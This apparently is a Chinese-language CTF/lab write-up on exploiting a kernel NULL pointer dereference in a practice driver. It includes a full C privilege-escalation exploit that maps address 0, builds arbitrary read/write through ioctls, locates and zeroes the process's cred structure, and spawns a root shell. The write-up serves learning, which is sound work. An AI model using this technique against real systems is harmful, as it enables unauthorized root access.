nullptr 解引用一般是很难利用的,一般可以规避SMAP和mmap缓解的前提下进行的攻击

攻击原理与缓解

作为Linux 规范,虚拟内存根据地址的不同使用不同。例如,您可以自由使用用户空间0000000000000000from to。00007fffffffffff另外,ffffffff80000000from ffffffff9fffffffto是内核数据区,映射到物理地址0。

Linux 将 48 位地址符号扩展为 64 位。因此,从 0x800000000000 到 0xffff7fffffffffff 的地址是非法地址,称为非规范地址。

0000000000000000 - 00007fffffffffff用户空间可以从. 也就是说,当地址 0 被映射时,一个 NULL 指针引用可以读写数据而不会导致 Segmentation Fault。内核空间中的空指针解引用可以在禁用 SMAP 时读取用户空间中的数据,因此攻击者可以使用在地址 0 处故意准备的数据。

mmap通常,当第一个参数为 0(NULL)时,内核决定映射到哪个地址。但是,MAP_FIXED如果你用标志映射,它总是映射到那个地址(或失败),你可以在地址 0 分配内存。(KPTI 是有效的,MAP_POPULATE所以不要忘记它。)

1
2
3
mmap( 0 , 0x1000 , PROT_READ|PROT_WRITE, 
MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS|MAP_POPULATE, -1 , 0 );

这种方法可以用来在攻击目标机器上的地址 0 分配内存,但是上面的代码在你常用的 Linux 机器上会失败。Linux 有一个变量
作为 NULL 指针取消引用的缓解措施。mmap_min_addrc

1
2
$ cat /proc/sys/vm/mmap_min_addr 
65536

没有内存可以从用户空间映射到低于该地址的地址。因此,通常NULL指针解引用是不可利用的,但在这个攻击目标中,这个值被设置为0,所以它是可利用的。

利用

遍历:task stuct

使用prctl给comm赋值

1
prctl(PR_SET_NAME, "triplej");// 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
struct posix_cputimers_work posix_cputimers_work;
#endif

/* Process credentials: */

/* Tracer's credentials at attach: */
const struct cred __rcu *ptracer_cred;

/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;

/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;

#ifdef CONFIG_KEYS
/* Cached requested key. */
struct key *cached_requested_key;
#endif

/*
* executable name, excluding path.
*
* - normally initialized setup_new_exec()
* - access it with [gs]et_task_comm()
* - lock it with task_lock()
*/
char comm[TASK_COMM_LEN];

task stuct 结构体为kmalloc 分配,位于线性映射区

image-20221206214409889

搜索cred:

  • task_struct中存在char comm[TASK_COMM_LEN]
  • comm字符串使用prctl函数的PR_SET_NAME自行设置
  • 在内存中搜索被设置后的comm字符串,cred结构体地址就在附近
  • 泄漏cred结构体地址,定向覆盖cred结构体
1
2
3
4
5
6
7
8
9
10
11
12
13
//例题中搜索线性映射区    
for (addr = 0xffff888000000000, addr < 0xffffc88000000000; addr += stride) {
if (addr % 0x10000000000 == 0)
printf("[*] Searching 0x%016lx...\n", addr);
if (AAR(buf, (char*)addr, stride) != 0)
continue;
if (needle = memmem(buf, stride, "triplej", 7)) {
addr += (needle - buf);
printf("[+] Found comm: 0x%016lx\n", addr);
break;
}
}
cred_addr=addr-8

失败:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <unistd.h>
#include <sys/prctl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>

#define CMD_INIT 0x13370001
#define CMD_SETKEY 0x13370002
#define CMD_SETDATA 0x13370003
#define CMD_GETDATA 0x13370004
#define CMD_ENCRYPT 0x13370005
#define CMD_DECRYPT 0x13370006

typedef struct {
char *key;
char *data;
size_t keylen;
size_t datalen;
} XorCipher;

typedef struct {
char *ptr;
size_t len;
} request_t;

int fd;
XorCipher *nullptr = NULL;

int angus_init ( void ) {
request_t req = { NULL };
return ioctl(fd, CMD_INIT, &req);
}
int angus_setkey ( char *key, size_t keylen) {
request_t req = { .ptr = key, .len = keylen };
return ioctl(fd, CMD_SETKEY, &req);
}

int angus_setdata ( char *data, size_t datalen) {
request_t req = { .ptr = data, .len = datalen };
return ioctl (fd, CMD_SETDATA, &req);
}


int angus_getdata ( char *data, size_t datalen) {
request_t req = { .ptr = data, .len = datalen };
return ioctl(fd, CMD_GETDATA, &req);
}

int angus_decrypt () {
request_t req = { NULL };
return ioctl(fd, CMD_ENCRYPT, &req) ;
}

int angus_encrypt() {
request_t req = { NULL };
return ioctl(fd, CMD_ENCRYPT, &req) ;
}





void errorinfo(char *s) {
puts(s);
exit(1);
}


int AAR ( char *dst, char *src, size_t len) {
nullptr->data = src;
nullptr->datalen = len;
return angus_getdata(dst, len);
}



void AAW ( char *dst, char *src, size_t len) {
char *temp = (char*)malloc(len);
AAR(temp, dst, len);
for (int i = 0; i < len; i++) {
temp[i] ^= src[i];
}
nullptr->data = dst;
nullptr->datalen = len;
nullptr->key = temp;
nullptr->keylen = len;
angus_encrypt();
free(temp);
}



int main() {
fd = open("/dev/angus", O_RDWR);
if (fd < 0) {
errorinfo("open failed!");
}
// ioctl(fd, CMD_GETDATA,)
if (mmap(0, 0x10000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE | MAP_POPULATE, -1 , 0 ) != NULL)
errorinfo("mmap faile1!");

prctl(PR_SET_NAME, "triplej");
size_t addr;
size_t stride = 0x1000000;
char *needle, *buf = malloc(stride);
if (!buf) {
errorinfo("malloc failed!");
}
for (addr = 0xffff888000000000; addr < 0xffffc88000000000; addr += stride) {
if (addr % 0x10000000000 == 0)
printf("[*] Searching 0x%016lx...\n", addr);
if (AAR(buf, (char*)addr, stride) != 0)
continue;
if (needle = memmem(buf, stride, "triplej", 7)) {
addr += (needle - buf);
printf("[+] Found comm: 0x%016lx\n", addr);
break;
}
}
if (addr == 0xffffc88000000000) {
puts("[-] Not found");
exit(1);
}
size_t addr_cred;
printf("[+] addr :0x%016lx\n",addr);
AAR((char*)&addr_cred,(char*)(addr-8),8);
printf("[+] cred: 0x%016lx\n", addr_cred);

AAR((char*)&addr_cred,(char*)(addr-16),8);
printf("[+] cred: 0x%016lx\n", addr_cred);

char rootcred[0x20]={0};
AAW((char*)(addr_cred+4),rootcred,0x20);
system("/bin/sh");
return 0;

// struct cred {
// atomic_t usage;
// #ifdef CONFIG_DEBUG_CREDENTIALS
// atomic_t subscribers; /* number of processes subscribed */
// void *put_addr;
// unsigned magic;
// #define CRED_MAGIC 0x43736564
// #define CRED_MAGIC_DEAD 0x44656144
// #endif
// kuid_t uid; /* real UID of the task */
// kgid_t gid; /* real GID of the task */
// kuid_t suid; /* saved UID of the task */
// kgid_t sgid; /* saved GID of the task */
// kuid_t euid; /* effective UID of the task */
// kgid_t egid; /* effective GID of the task */
// kuid_t fsuid; /* UID for VFS ops */
// kgid_t fsgid; /* GID for VFS ops */
// unsigned securebits; /* SUID-less security management */


}

这里失败让我非常疑惑,调了好一会才注意到

1
#define _GNU_SOURCE

当我不添加这个define时,一直会报warning,而添加了以后就不报了

1
2
3
4
5
6
7
exp.c:117:22: warning: implicit declaration of function ‘memmem’; did you mean ‘memset’? [-Wimplicit-function-declaration]
if (needle = memmem(buf, stride, "triplej", 7)) {
^~~~~~
memset
exp.c:117:20: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
if (needle = memmem(buf, stride, "triplej", 7)) {

#define _GNU_SOURCE 导致 脚本不成功 ,,第一次遇到

还有就是include的顺序,标准头文件应该在系统头文件之前。

_GUN_SOURCE这个宏,这个宏可以让用户打开所有feature.

在mem手册中也可以看到:

image-20221206214205435

参考

https://pawnyable.cafe/linux-kernel/LK02/null_ptr_deref.html